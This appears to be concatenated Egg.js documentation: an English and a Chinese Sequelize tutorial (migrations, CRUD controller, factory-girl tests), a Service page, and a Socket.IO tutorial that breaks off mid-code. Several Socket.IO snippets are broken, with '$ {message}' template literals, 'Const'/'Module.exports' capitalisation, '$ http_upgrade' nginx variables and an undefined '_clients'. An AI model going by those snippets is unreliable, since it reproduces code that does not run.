We can build the table directly through the mysql command, but this is not a good practice for multiplayer collaboration. During the evolution of the project, each iteration is possible to make changes to the database data structure, how to track the data changes of each iteration, and quickly change the data structure in different environments (development, testing, CI) and switch bettween iterative? At this point we need [Migrations] to help us manage the changes in the data structure.

Sequelize provides the [sequelize-cli] tool to implement [Migrations], and we can also introduce sequelize-cli in the egg project.

* Install `sequelize-cli`

```bash
npm install --save-dev sequelize-cli
```

In the egg project, we want to put all the database Migrations related content in the `database` directory, so we create a new `.sequelizerc` configuration file in the project root directory:

```js
'use strict';

const path = require('path');

module.exports = {
  config: path.join(__dirname, 'database/config.json'),
  'migrations-path': path.join(__dirname, 'database/migrations'),
  'seeders-path': path.join(__dirname, 'database/seeders'),
  'models-path': path.join(__dirname, 'app/model'),
};
```

* Init Migrations Configuration Files and Directories

```bash
npx sequelize init:config
npx sequelize init:migrations
```

After the execution, the `database/config.json` file and the `database/migrations` directory will be generated. We will modify the contents of `database/config.json`. It was changed to the database configuration used in our project:

```
{
  "development": {
    "username": "root",
    "password": null,
    "database": "egg-sequelize-doc-default",
    "host": "127.0.0.1",
    "dialect": "mysql"
  },
  "test": {
    "username": "root",
    "password": null,
    "database": "egg-sequelize-doc-unittest",
    "host": "127.0.0.1",
    "dialect": "mysql"
  }
}
```

At this point sequelize-cli and related configuration are also initialized, we can start writing the project's first Migration file to create one of our `users` table.

```bash
npx sequelize migration:generate --name=init-users
```

After execution, a migration file (`${timestamp}-init-users.js`) is generated in the `database/migrations` directory. We modify it to handle initializing the `users` table:

```js
'use strict';

module.exports = {
  // The function called when performing a database upgrade, create a `users` table
  up: async (queryInterface, Sequelize) => {
    const { INTEGER, DATE, STRING } = Sequelize;
    await queryInterface.createTable('users', {
      id: { type: INTEGER, primaryKey: true, autoIncrement: true },
      name: STRING(30),
      age: INTEGER,
      created_at: DATE,
      updated_at: DATE,
    });
  },
  // The function called when performing a database downgrade, delete the `users` table
  down: async (queryInterface) => {
    await queryInterface.dropTable('users');
  },
};
```

* Execute migrate for database changes

```bash
# upgrade database
npx sequelize db:migrate
# if there is a problem that needs to be rolled back, you can roll back a change via `db:migrate:undo`
# npx sequelize db:migrate:undo
# can be rolled back to the initial state via `db:migrate:undo:all`
# npx sequelize db:migrate:undo:all
```

After execution, our database initialization is complete.

## Coding

Finally we can start writing code to implement business logic. First, let's write the user model in the `app/model/` directory:

```js
'use strict';

module.exports = (app) => {
  const { STRING, INTEGER, DATE } = app.Sequelize;

  const User = app.model.define('user', {
    id: { type: INTEGER, primaryKey: true, autoIncrement: true },
    name: STRING(30),
    age: INTEGER,
    created_at: DATE,
    updated_at: DATE,
  });

  return User;
};
```

This model can be accessed in the Controller and Service via `app.model.User` or `ctx.model.User`, for example we write `app/controller/users.js`:

```js
// app/controller/users.js
const Controller = require('egg').Controller;

function toInt(str) {
  if (typeof str === 'number') return str;
  if (!str) return str;
  return parseInt(str, 10) || 0;
}

class UserController extends Controller {
  async index() {
    const ctx = this.ctx;
    const query = {
      limit: toInt(ctx.query.limit),
      offset: toInt(ctx.query.offset),
    };
    ctx.body = await ctx.model.User.findAll(query);
  }

  async show() {
    const ctx = this.ctx;
    ctx.body = await ctx.model.User.findByPk(toInt(ctx.params.id));
  }

  async create() {
    const ctx = this.ctx;
    const { name, age } = ctx.request.body;
    const user = await ctx.model.User.create({ name, age });
    ctx.status = 201;
    ctx.body = user;
  }

  async update() {
    const ctx = this.ctx;
    const id = toInt(ctx.params.id);
    const user = await ctx.model.User.findByPk(id);
    if (!user) {
      ctx.status = 404;
      return;
    }

    const { name, age } = ctx.request.body;
    await user.update({ name, age });
    ctx.body = user;
  }

  async destroy() {
    const ctx = this.ctx;
    const id = toInt(ctx.params.id);
    const user = await ctx.model.User.findByPk(id);
    if (!user) {
      ctx.status = 404;
      return;
    }

    await user.destroy();
    ctx.status = 200;
  }
}

module.exports = UserController;
```

Finally we will mount this controller on the route:

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.resources('users', '/users', controller.users);
};
```

The interface for the CURD operation of the `users` table is developed. To verify that the code logic is correct, we need to write some testcases to verify.

## Unit Test

Before writing the test, because in the previous egg configuration, we pointed the unit test environment and development environment to different databases, so we need to initialize the data structure of the test database through Migrations:

```bash
NODE_ENV=test npx sequelize db:migrate:up
```

Unit tests with database access are particularly cumbersome to write directly, We need to create a series of data to prepare the test data is a very cumbersome process. To simplify single testing, we can quickly create test data with the [factory-girl] module.

* Install `factory-girl`

```bash
npm install --save-dev factory-girl
```

* Define the data model of factory-girl into `test/factories.js`

```js
// test/factories.js
'use strict';

const { factory } = require('factory-girl');

module.exports = (app) => {
  // Factory instance can be accessed via app.factory
  app.factory = factory;

  // Define user and default data
  factory.define('user', app.model.User, {
    name: factory.sequence('User.name', (n) => `name_${n}`),
    age: 18,
  });
};
```

* Initialize the file `test/.setup.js`, introduce the factory, and ensure that the data is cleaned after the test is executed to avoid being affected.

```js
const { app } = require('egg-mock/bootstrap');
const factories = require('./factories');

before(() => factories(app));
afterEach(async () => {
  // clear database after each test case
  await Promise.all([app.model.User.destroy({ truncate: true, force: true })]);
});
```

Then we can start writing real test cases:

```js
// test/app/controller/users.test.js
const { assert, app } = require('egg-mock/bootstrap');

describe('test/app/controller/users.test.js', () => {
  describe('GET /users', () => {
    it('should work', async () => {
      // Quickly create some users object into the database via factory-girl
      await app.factory.createMany('user', 3);
      const res = await app.httpRequest().get('/users?limit=2');
      assert(res.status === 200);
      assert(res.body.length === 2);
      assert(res.body[0].name);
      assert(res.body[0].age);
    });
  });

  describe('GET /users/:id', () => {
    it('should work', async () => {
      const user = await app.factory.create('user');
      const res = await app.httpRequest().get(`/users/${user.id}`);
      assert(res.status === 200);
      assert(res.body.age === user.age);
    });
  });

  describe('POST /users', () => {
    it('should work', async () => {
      app.mockCsrf();
      let res = await app.httpRequest().post('/users').send({
        age: 10,
        name: 'name',
      });
      assert(res.status === 201);
      assert(res.body.id);

      res = await app.httpRequest().get(`/users/${res.body.id}`);
      assert(res.status === 200);
      assert(res.body.name === 'name');
    });
  });

  describe('DELETE /users/:id', () => {
    it('should work', async () => {
      const user = await app.factory.create('user');

      app.mockCsrf();
      const res = await app.httpRequest().delete(`/users/${user.id}`);
      assert(res.status === 200);
    });
  });
});
```

Finally, if we need to run unit tests in the CI, we need to ensure that we perform a migration to ensure data structure updates before executing the test code. For example, we declare `scripts.ci` in `package.json` to execute the unit test in the CI environment:

```js
{
  "scripts": {
    "ci": "eslint . && NODE_ENV=test npx sequelize db:migrate && egg-bin cov"
  }
}
```

## Full Example

A more complete example can be found in [eggjs/examples/sequelize].

## Boilerplate

We also provide sequelize boilerplate that integrates the modules [egg-sequelize], [sequelize-cli] and [factory-girl] provided in this documentation. You can quickly initialize a new application based on it by `npm init egg --type=sequelize`.

[mysql2]: https://github.com/sidorares/node-mysql2

[sequelize]: http://docs.sequelizejs.com/

[sequelize-cli]: https://github.com/sequelize/cli

[egg-sequelize]: https://github.com/eggjs/egg-sequelize

[migrations]: http://docs.sequelizejs.com/manual/tutorial/migrations.html

[factory-girl]: https://github.com/aexmachina/factory-girl

[eggjs/examples/sequelize]: https://github.com/eggjs/examples/tree/master/sequelize

[egg-mysql]: https://github.com/eggjs/egg-mysql

---

---
url: /zh-CN/tutorials/sequelize.md
---
# Sequelize

在前面的章节中，我们介绍了如何在框架中通过 [egg-mysql] 插件来访问数据库。在一些较为复杂的应用中，我们可能会需要一个 ORM 框架来帮助我们管理数据层的代码。在 Node.js 社区中，[sequelize] 是一个广泛使用的 ORM 框架，它支持 MySQL、PostgreSQL、SQLite 和 MSSQL 等多个数据源。

本章节，我们将通过开发一个对 MySQL 中 `users` 表的数据做 CURD 操作的例子，一步步介绍如何在 egg 项目中使用 sequelize。

## 准备工作

在这个例子中，我们将使用 sequelize 连接到 MySQL 数据源。因此，在开始编写代码之前，我们需要先在本机上安装好 MySQL。如果是 MacOS，可以通过 homebrew 快速安装：

```bash
brew install mysql
brew services start mysql
```

## 初始化项目

通过 `npm` 初始化一个项目：

```bash
$ mkdir sequelize-project && cd sequelize-project
$ npm init egg --type=simple
$ npm i
```

安装并配置 [egg-sequelize] 插件（它会辅助我们将定义好的 Model 对象加载到 app 和 ctx 上）和 [mysql2] 模块：

* 安装

```bash
npm install --save egg-sequelize mysql2
```

* 在 `config/plugin.js` 中引入 egg-sequelize 插件

```js
exports.sequelize = {
  enable: true,
  package: 'egg-sequelize',
};
```

* 在 `config/config.default.js` 中编写 sequelize 配置

```js
exports.sequelize = {
  dialect: 'mysql',
  host: '127.0.0.1',
  port: 3306,
  database: 'egg-sequelize-doc-default',
};
```

我们可以在不同的环境配置中配置不同的数据源地址，以区分不同环境使用的数据库。例如，我们可以新建一个 `config/config.unittest.js` 配置文件，写入以下配置，将单元测试时连接的数据库指向 `egg-sequelize-doc-unittest`。

```js
exports.sequelize = {
  dialect: 'mysql',
  host: '127.0.0.1',
  port: 3306,
  database: 'egg-sequelize-doc-unittest',
};
```

完成上述配置之后，一个使用 sequelize 的项目就初始化完成了。[egg-sequelize] 和 [sequelize] 还支持更多的配置项，你可以在他们的文档中找到。

## 初始化数据库和 Migrations

接下来我们先暂时离开 egg 项目的代码，设计和初始化一下我们的数据库。首先我们通过 MySQL 命令在本地快速创建开发和测试要用到的两个数据库：

```bash
mysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-default`;'
mysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-unittest`;'
```

然后我们开始设计 `users` 表，它有如下的数据结构：

```sql
CREATE TABLE `users` (
  `id` INT(11) NOT NULL AUTO_INCREMENT COMMENT 'primary key',
  `name` VARCHAR(30) DEFAULT NULL COMMENT 'user name',
  `age` INT(11) DEFAULT NULL COMMENT 'user age',
  `created_at` DATETIME DEFAULT NULL COMMENT 'created time',
  `updated_at` DATETIME DEFAULT NULL COMMENT 'updated time',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='user';
```

我们可以直接通过 MySQL 命令将表直接建好，但是这并不是一个对多人协作非常友好的开发模式。在项目的演进过程中，每一个迭代都有可能对数据库数据结构做变更，怎样跟踪每一个迭代的数据变更，并在不同的环境（开发、测试、CI）和迭代切换中，快速变更数据结构呢？这时候我们就需要 `Migrations` 来帮我们管理数据结构的变更了。

sequelize 提供了 `sequelize-cli` 工具来实现 `Migrations`，我们也可以在 egg 项目中引入 sequelize-cli。

* 安装 sequelize-cli

```bash
npm install --save-dev sequelize-cli
```

在 egg 项目中，我们希望将所有数据库 Migrations 相关的内容都放在 `database` 目录下，所以我们在项目根目录下新建一个 `.sequelizerc` 配置文件：

```js
'use strict';

const path = require('path');

module.exports = {
  config: path.join(__dirname, 'database/config.json'),
  'migrations-path': path.join(__dirname, 'database/migrations'),
  'seeders-path': path.join(__dirname, 'database/seeders'),
  'models-path': path.join(__dirname, 'app/model'),
};
```

* 初始化 Migrations 配置文件和目录

```bash
npx sequelize init:config
npx sequelize init:migrations
```

执行完后会生成 `database/config.json` 文件和 `database/migrations` 目录，我们修改一下 `database/config.json` 中的内容，将其改成我们项目中使用的数据库配置：

```json
{
  "development": {
    "username": "root",
    "password": null,
    "database": "egg-sequelize-doc-default",
    "host": "127.0.0.1",
    "dialect": "mysql"
  },
  "test": {
    "username": "root",
    "password": null,
    "database": "egg-sequelize-doc-unittest",
    "host": "127.0.0.1",
    "dialect": "mysql"
  }
}
```

此时 sequelize-cli 和相关的配置也都初始化好了，我们可以开始编写项目的第一个 Migration 文件来创建我们的一个 `users` 表了。

```bash
npx sequelize migration:generate --name=init-users
```

执行完后会在 `database/migrations` 目录下生成一个 migration 文件（`${timestamp}-init-users.js`），我们修改它来处理初始化 `users` 表：

```js
'use strict';

module.exports = {
  // 在执行数据库升级时调用的函数，创建 users 表
  up: async (queryInterface, Sequelize) => {
    const { INTEGER, DATE, STRING } = Sequelize;
    await queryInterface.createTable('users', {
      id: { type: INTEGER, primaryKey: true, autoIncrement: true },
      name: STRING(30),
      age: INTEGER,
      created_at: DATE,
      updated_at: DATE,
    });
  },
  // 在执行数据库降级时调用的函数，删除 users 表
  down: async (queryInterface) => {
    await queryInterface.dropTable('users');
  },
};
```

* 执行 migrate 进行数据库变更

```bash
# 升级数据库
npx sequelize db:migrate

# 如果有问题需要回滚，可以通过 `db:migrate:undo` 回退一个变更

# npx sequelize db:migrate:undo

# 可以通过 `db:migrate:undo:all` 回退到初始状态
```

# NPX Sequelize DB:Migrate:Undo:All

执行之后，我们的数据库初始化就完成了。

## 编写代码

现在终于可以开始编写代码实现业务逻辑了。首先我们来在 `app/model/` 目录下编写 `user` 这个 Model：

```js
'use strict';

module.exports = (app) => {
  const { STRING, INTEGER, DATE } = app.Sequelize;

  const User = app.model.define('user', {
    id: { type: INTEGER, primaryKey: true, autoIncrement: true },
    name: STRING(30),
    age: INTEGER,
    created_at: DATE,
    updated_at: DATE,
  });

  return User;
};
```

这个 Model 就可以在 Controller 和 Service 中通过 `app.model.User` 或者 `ctx.model.User` 访问到了。例如，我们编写 `app/controller/users.js`：

```js
// app/controller/users.js
const Controller = require('egg').Controller;

function toInt(str) {
  if (typeof str === 'number') return str;
  if (!str) return str;
  return parseInt(str, 10) || 0;
}

class UserController extends Controller {
  async index() {
    const ctx = this.ctx;
    const query = {
      limit: toInt(ctx.query.limit),
      offset: toInt(ctx.query.offset),
    };
    ctx.body = await ctx.model.User.findAll(query);
  }

  async show() {
    const ctx = this.ctx;
    ctx.body = await ctx.model.User.findByPk(toInt(ctx.params.id));
  }

  async create() {
    const ctx = this.ctx;
    const { name, age } = ctx.request.body;
    const user = await ctx.model.User.create({ name, age });
    ctx.status = 201;
    ctx.body = user;
  }

  async update() {
    const ctx = this.ctx;
    const id = toInt(ctx.params.id);
    const user = await ctx.model.User.findByPk(id);
    if (!user) {
      ctx.status = 404;
      return;
    }

    const { name, age } = ctx.request.body;
    await user.update({ name, age });
    ctx.body = user;
  }

  async destroy() {
    const ctx = this.ctx;
    const id = toInt(ctx.params.id);
    const user = await ctx.model.User.findByPk(id);
    if (!user) {
      ctx.status = 404;
      return;
    }

    await user.destroy();
    ctx.status = 200;
  }
}

module.exports = UserController;
```

最后，我们将这个 controller 挂载到路由上：

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.resources('users', '/users', controller.users);
};
```

针对 `users` 表的 CURD 操作的接口就开发完了。为了验证代码逻辑是否正确，我们接下来需要编写单元测试来验证。

## 单元测试

在编写测试之前，由于在前面的 egg 配置中，我们将单元测试环境和开发环境指向了不同的数据库，因此需要通过 Migrations 来初始化测试数据库的数据结构：

```bash
NODE_ENV=test npx sequelize db:migrate:up
```

有数据库访问的单元测试直接写起来会特别繁琐，特别是很多接口我们需要创建一系列的数据才能进行，造测试数据是一个非常繁琐的过程。为了简化单测，我们可以通过 [factory-girl] 模块来快速创建测试数据。

* 安装 `factory-girl` 依赖

  ```bash
  npm install --save-dev factory-girl
  ```

* 定义 `factory-girl` 的数据模型到 `test/factories.js` 中

  ```js
  // test/factories.js
  'use strict';

  const { factory } = require('factory-girl');

  module.exports = (app) => {
    // 可以通过 app.factory 访问 factory 实例
    app.factory = factory;

    // 定义 user 模型和默认数据
    factory.define('user', app.model.User, {
      name: factory.sequence('User.name', (n) => `name_${n}`),
      age: 18,
    });
  };
  ```

* 初始化文件 `test/.setup.js`，引入 factory，并确保测试执行完后清理数据，避免被影响。

  ```js
  const { app } = require('egg-mock/bootstrap');
  const factories = require('./factories');

  before(() => factories(app));
  afterEach(async () => {
    // 在每个测试案例执行完后清理数据库
    await Promise.all([
      app.model.User.destroy({ truncate: true, force: true }),
    ]);
  });
  ```

接下来我们就可以开始编写真正的测试用例了：

```js
// test/app/controller/users.test.js
const { assert, app } = require('egg-mock/bootstrap');

describe('test/app/controller/users.test.js', () => {
  describe('GET /users', () => {
    it('should work', async () => {
      // 通过 factory-girl 快速创建用户对象到数据库中
      await app.factory.createMany('user', 3);
      const res = await app.httpRequest().get('/users?limit=2');
      assert(res.status === 200);
      assert(res.body.length === 2);
      assert(res.body[0].name);
      assert(res.body[0].age);
    });
  });

  describe('GET /users/:id', () => {
    it('should work', async () => {
      const user = await app.factory.create('user');
      const res = await app.httpRequest().get(`/users/${user.id}`);
      assert(res.status === 200);
      assert(res.body.age === user.age);
    });
  });

  describe('POST /users', () => {
    it('should work', async () => {
      app.mockCsrf();
      let res = await app.httpRequest().post('/users').send({
        age: 10,
        name: 'name',
      });
      assert(res.status === 201);
      assert(res.body.id);

      res = await app.httpRequest().get(`/users/${res.body.id}`);
      assert(res.status === 200);
      assert(res.body.name === 'name');
    });
  });

  describe('DELETE /users/:id', () => {
    it('should work', async () => {
      const user = await app.factory.create('user');

      app.mockCsrf();
      const res = await app.httpRequest().delete(`/users/${user.id}`);
      assert(res.status === 200);
    });
  });
});
```

最后，如果我们需要在 CI 中运行单元测试，需要确保在执行测试代码之前，执行一次 migrate 确保数据结构更新，例如我们在 `package.json` 中声明 `scripts.ci` 来在 CI 环境下执行单元测试：

```json
{
  "scripts": {
    "ci": "eslint . && NODE_ENV=test npx sequelize db:migrate && egg-bin cov"
  }
}
```

## 完整示例

更完整的示例可以查看 [eggjs/examples/sequelize]。

## 脚手架

我们也提供了 sequelize 的脚手架，集成了文档中提供的 [egg-sequelize]、[sequelize-cli] 与 [factory-girl] 等模块。你可以通过 `npm init egg --type=sequelize` 来基于它快速初始化一个新的应用。

[mysql2]: https://github.com/sidorares/node-mysql2

[sequelize]: http://docs.sequelizejs.com/

[sequelize-cli]: https://github.com/sequelize/cli

[egg-sequelize]: https://github.com/eggjs/egg-sequelize

[migrations]: http://docs.sequelizejs.com/manual/tutorial/migrations.html

[factory-girl]: https://github.com/aexmachina/factory-girl

[eggjs/examples/sequelize]: https://github.com/eggjs/examples/tree/master/sequelize

[egg-mysql]: https://github.com/eggjs/egg-mysql

---

---
url: /basics/service.md
---

# Service

> ⚠️ **Translation in Progress**: This page is being translated. For now, please refer to the [Chinese version](/zh-CN/basics/service).

Service is an abstraction layer for encapsulating business logic in complex business scenarios. It provides the following advantages:

* Keeps Controller logic simpler
* Maintains business logic independence - Services can be reused by multiple Controllers
* Separates logic from presentation, making it easier to write test cases

## Usage Scenarios

* Data processing: When information needs to be retrieved from a database and calculated before displaying to users
* Third-party service calls: Such as fetching GitHub information

## Defining a Service

```js
// app/service/user.js
const Service = require('egg').Service;

class UserService extends Service {
  async find(uid) {
    const user = await this.ctx.db.query(
      'select * from user where uid = ?',
      uid,
    );
    return user;
  }
}

module.exports = UserService;
```

## Properties

Each Service instance has access to:

* `this.ctx`: Current request [Context](./extend.md#context) object
* `this.app`: Current [Application](./extend.md#application) object
* `this.service`: Access to other Services
* `this.config`: Application [configuration](./config.md)
* `this.logger`: Logger object for debugging

For more details, please refer to the [Chinese documentation](/zh-CN/basics/service).

---

---
url: /tutorials/socketio.md
---

**Socket.IO** is a real-time application framework based on Node.js, which has a wide range of applications including instant messaging, notification and message push, real-time analysis and other scenarios.

WebSocket originated from the growing demand for real-time communication in web development, compared with http-based polling, which greatly saves network bandwidth and reduces server performance consumption. [Socket.IO] supports both websockets and polling. The data transmission method is compatible with the browser and does not support the communication requirements under the WebSocket scenario.

The framework provides the [egg-socket.io] plugin with the following development rules added:

* namespace: define the namespace by means of configuration
   - middleware: establish / disconnect every socket connection, preprocess every message / data transfer
   - controller: response socket.io event
   - router: unify the processing configuration of socket.io event and frame routing

## install egg-socket.io

### Installation

```bash
$ npm i egg-socket.io --save
```

**Enable the plugin:**

```js
// {app_root} /config/plugin.js
exports.io = {
  enable: true,
  package: 'egg-socket.io',
};
```

### Configuration

```js
// {app_root} / config / config. $ {env} .js
exports.io = {
  init: {}, // passed to engine.io
  namespace: {
    '/': {
      connectionMiddleware: [],
      packetMiddleware: [],
    },
    '/ example': {
      connectionMiddleware: [],
      packetMiddleware: [],
    },
  },
};
```

> Namespaces are `/` and `/ example`, not`example`

#### `uws`

**Egg's socket is using `ws`, [uws](https://www.npmjs.com/package/uws) is deprecated due to [some reasons](https://github.com/socketio/socket.io/issues/3319).**
If you insist using [uws](https://www.npmjs.com/package/uws) instead of the default `ws`, you can config like this:

```js
// {app_root} / config / config. $ {env} .js
exports.io = {
  init: { wsEngine: 'uws' }, // default: ws
};
```

#### `redis`

[egg-socket.io] has built-in redis support via `socket.io-redis`. In cluster mode, the use of redis can make it relatively simple to achieve information sharing of clients/rooms and so on

```js
// {app_root} / config / config. $ {env} .js
exports.io = {
  redis: {
    host: {redis server host}
    port: {redis server port},
    auth_pass: {redis server password},
    db: 0,
  },
};
```

> When `redis` is turned on, the program tries to connect to the redis server at startup
> Here `redis` is only used to store connection instance information, see [# server.adapter](https://socket.io/docs/server-api/#server-adapter-value)

**Note:**
If the project also uses the `@eggjs/redis`, please configure it separately. Do not share it.

### Deployment

If the framework is started in cluster mode, the socket.io protocol implementation needs sticky feature support, otherwise it will not work in multi-process mode.

Due to the design of socket.io, a multi-process server must be in the sticky working mode. As a result, you need the need to pass parameter `--sticky` when starting the cluster.

Modify the `npm scripts` script in`package.json`:

```js
{
  "scripts": {
    "dev": "egg-bin dev --sticky",
    "start": "egg-scripts start --sticky"
  }
}
```

**Nginx configuration**

```
location / {
  proxy_set_header Upgrade $ http_upgrade;
  proxy_set_header Connection "upgrade";
  proxy_set_header X-Forwarded-For $ proxy_add_x_forwarded_for;
  proxy_set_header Host $ host;
  proxy_pass http://127.0.0.1:7001;
}
```

## Using `egg-socket.io`

The directory structure of project which has enabled the [egg-socket.io] is as follows:

```
chat
├── app
│ ├── extend
│ │ └── helper.js
│ ├── io
│ │ ├── controller
│ │ │ └── default.js
│ │ └── middleware
│ │ ├── connection.js
│ │ └── packet.js
│ └── router.js
├── config
└── package.json
```

> Note: The corresponding files are in the app / io directory

### Middleware

Middleware has the following two scenarios:

* Connection
* Packet

It is configured in each namespace, respectively, according to the scenarios given above.

**Note:**

If we enable the framework middleware, you will find the following directory in the project:

* `app / middleware`: framework middleware
* `app / io / middleware`: plugin middleware

the difference:

* Framework middleware is based on http model design to handle http requests.
* Plugin middleware based socket model design, processing socket.io request.

Although the framework tries to unify the style through plugins, it is important to note that their usage scenarios are different. For details, please see: [# 1416](https://github.com/eggjs/egg/issues/1416)

#### Connection

Fires when each client connects or quits. Therefore, we usually perform authorization authentication at this step, and deal with the failed clients.

```js
// {app_root} /app/io/middleware/connection.js
module.exports = (app) => {
  return async (ctx, next) => {
    ctx.socket.emit('res', 'connected!');
    await next(); // execute when disconnect.
    console.log('disconnection!');
  };
};
```

Kick out the user example:

```js
const tick = (id, msg) => {
  logger.debug('# tick', id, msg);
  socket.emit(id, msg);
  app.io.of('/').adapter.remoteDisconnect(id, true, (err) => {
    logger.error(err);
  });
};
```

At the same time, the current connection can also be simple to deal with:

```js
// {app_root} /app/io/middleware/connection.js
module.exports = (app) => {
  return async (ctx, next) => {
    if (true) {
      ctx.socket.disconnect();
      return;
    }
    await next();
    console.log('disconnection!');
  };
};
```

#### Packet

Acts on each data packet (each message). In the production environment, it is usually used to preprocess messages, or it is used to decrypt encrypted messages.

```js
// {app_root} /app/io/middleware/packet.js
module.exports = (app) => {
  return async (ctx, next) => {
    ctx.socket.emit('res', 'packet received!');
    console.log('packet:', ctx.packet);
    await next();
  };
};
```

### Controller

A controller deals with the events sent by the client. Since it inherits the `egg.controller`, it has the following member objects:

* ctx
* app
* service
* config
* logger

> For details, refer to the \[Controller] (../ basics / controller.md) documentation

```js
// {app_root} /app/io/controller/default.js
'use strict';

const Controller = require('egg').Controller;

class DefaultController extends Controller {
  async ping() {
    const { ctx, app } = this;
    const message = ctx.args[0];
    await ctx.socket.emit('res', `Hi! I've got your message: $ {message}`);
  }
}

module.exports = DefaultController;

// or async functions

exports.ping = async function () {
  const message = this.args[0];
  await this.socket.emit('res', `Hi! I've got your message: $ {message}`);
};
```

### Router

Routing is responsible for passing various events received by the socket to the corresponding controllers.

```js
// {app_root} /app/router.js

module.exports = (app) => {
  const { router, controller, io } = app; // default
  router.get('/', controller.home.index); // socket.io
  io.of('/').route('server', io.controller.home.server);
};
```

**Note:**

Nsp has the following system events:

* `disconnecting` doing the disconnect
* `disconnect` connection has disconnected.
* `error` Error occurred

### Namespace/Room

#### Namespace (nsp)

The namespace is usually meant to be assigned to different access points or paths. If the client does not specify a nsp, it is assigned to "/" by default.

In socket.io we use the `of` to divide the namespace; given that nsp is usually pre-defined and relatively fixed, the framework encapsulates it and uses configuration to partition different namespaces.

```js
// socket.io
var nsp = io.of('/my-namespace');
nsp.on('connection', function (socket) {
  console.log('someone connected');
});
nsp.emit('hi', 'everyone!');

// egg
exports.io = {
  namespace: {
    '/': {
      connectionMiddleware: [],
      packetMiddleware: [],
    },
  },
};
```

#### Room

Room exists in nsp and is added or left by the join/leave method; the method used in the framework is the same;

```js
Const room = 'default_room';

Module.exports = app => {
   return async (ctx, next) => {
     ctx.socket.join(room);
     ctx.app.io.of('/').to(room).emit('online', { msg: 'welcome', id: ctx.socket.id });
     await next();
     console.log('disconnection!');
   };
};
```

**Note:** Each socket connection will have a random and unpredictable unique id `Socket#id` and will automatically be added to the room named after this `id`

## Examples

Here we use [egg-socket.io] to do a small example which supports p2p chat

### Client

The UI-related content is not rewritten. It can be called via window.socket

```js
// browser
const log = console.log;

window.onload = function () {
  // init
  const socket = io('/', {
    // Actual use can pass parameters here
    query: {
      room: 'demo',
      userId: `client_${Math.random()}`,
    },

    transports: ['websocket'],
  });

  socket.on('connect', () => {
    const id = socket.id;

    log('#connect,', id, socket); // receive online user information

    // listen for its own id to implement p2p communication
    socket.on(id, (msg) => {
      log('#receive,', msg);
    });
  });

  socket.on('online', (msg) => {
    log('#online,', msg);
  });

  // system events
  socket.on('disconnect', (msg) => {
    log('#disconnect', msg);
  });

  socket.on('disconnecting', () => {
    log('#disconnecting');
  });

  socket.on('error', () => {
    log('#error');
  });

  window.socket = socket;
};
```

#### WeChat Applets

The API provided by the WeChat applet is WebSocket, and socket.io is the upper encapsulation of Websocket. Therefore, we cannot directly use the API connection of the applet. You can use something like \[wxapp-socket-io] (https://github.com/wxsocketio /wxapp-socket-io) to adapt to the library.

The sample code is as follows:

```js
// Small program-side sample code
import io from 'vendor/wxapp-socket-io.js';

const socket = io('ws://127.0.0.1:7001');
socket.on('connect', function () {
  socket.emit('chat', 'hello world!');
});
socket.on('res', (msg) => {
  console.log('res from server: %s!', msg);
});
```

### Server

The following is part of the demo code and explains the role of each method:

#### Config

```js
// {app_root}/config/config.${env}.js
exports.io = {
  namespace: {
    '/': {
      connectionMiddleware: ['auth'],
      packetMiddleware: [], // processing for message is not implemented temporarily
    },
  }, // Data sharing through redis in cluster mode

  redis: {
    host: '127.0.0.1',
    port: 6379,
  },
};
```

#### Helper

Framework extensions for encapsulating data formats

```js
// {app_root}/app/extend/helper.js

module.exports = {
  parseMsg(action, payload = {}, metadata = {}) {
    const meta = Object.assign(
      {},
      {
        timestamp: Date.now(),
      },
      metadata,
    );

    return {
      data: {
        action,
        payload,
      },
      meta,
    };
  },
};
```

Format：

```js
{
  data: {
    action: 'exchange',  // 'deny' || 'exchange' || 'broadcast'
    payload: {},
  },
  meta:{
    timestamp: 1512116201597,
    client: '/webrtc#nNx88r1c5WuHf9XuAAAB',
    target: '/webrtc#nNx88r1c5WuHf9XuAAAB'
  },
}
```

#### Middleware

[egg-socket.io] middleware handles socket connection handling

```js
// {app_root}/app/io/middleware/auth.js

const PREFIX = 'room';

module.exports = () => {
  return async (ctx, next) => {
    const { app, socket, logger, helper } = ctx;
    const id = socket.id;
    const nsp = app.io.of('/');
    const query = socket.handshake.query; // User Info

    const { room, userId } = query;
    const rooms = [room];

    logger.debug('#user_info', id, room, userId);

    const tick = (id, msg) => {
      logger.debug('#tick', id, msg); // Send message before kicking user

      socket.emit(id, helper.parseMsg('deny', msg)); // Call the adapter method to kick out the user and the client triggers the disconnect event

      nsp.adapter.remoteDisconnect(id, true, (err) => {
        logger.error(err);
      });
    }; // Check if the room exists, kick it out if it doesn't exist // Note: here app.redis has nothing to do with the plugin, it can be replaced by other storage

    const hasRoom = await app.redis.get(`${PREFIX}:${room}`);

    logger.debug('#has_exist', hasRoom);

    if (!hasRoom) {
      tick(id, {
        type: 'deleted',
        message: 'deleted, room has been deleted.',
      });
      return;
    } // When the user joins

    nsp.adapter.clients(rooms, (err, clients) => {
      // Append current socket information to clients
      clients[id] = query; // Join room

      socket.join(room);

      logger.debug('#online_join', _clients); // Update online user list

      nsp.to(room).emit('online', {
        clients,
        action: 'join',
        target: 'participator',
        message: `User(${id}) joined.`,
      });
    });

    await next(); // When the user leaves

    nsp.adapter.clients(rooms, (err, clients) => {
      logger.debug('#leave', room);

      const _clients = {};
      clients.forEach((client) => {
        const _id = client.split('#')[1];
        const _client = app.io.sockets.sockets[_id];
        const _query = _client.handshake.query;
        _clients[client] = _query;
      });

      logger.debug('#online_leave', _clients); // Update online user list

      nsp.to(room).emit('online', {
        clients: _clients,
        action: 'leave',
        target: 'participator',
        message: `User(${id}) leaved.`,
      });
    });
  };
};
```

#### Controller

Data exchange of P2P communication is through exchange

```js
// {app_root}/app/io/controller/nsp.js
const Controller = require('egg').Controller;

class NspController extends controller {
  async exchange() {
    const { ctx, app } = this;
    const nsp = app.io.of('/');
    const message = ctx.args[0] || {};
    const socket = ctx.socket;
    const client = socket.id;

    try {
      const { target, payload } = message;
      if (!target) return;
      const msg = ctx.helper.parseMsg('exchange', payload, { client, target });
      nsp.emit(target, msg);
    } catch (error) {
      app.logger.error(error);
    }
  }
}

module.exports = NspController;
```

#### Router

```js
// {app_root}/app/router.js
module.exports = (app) => {
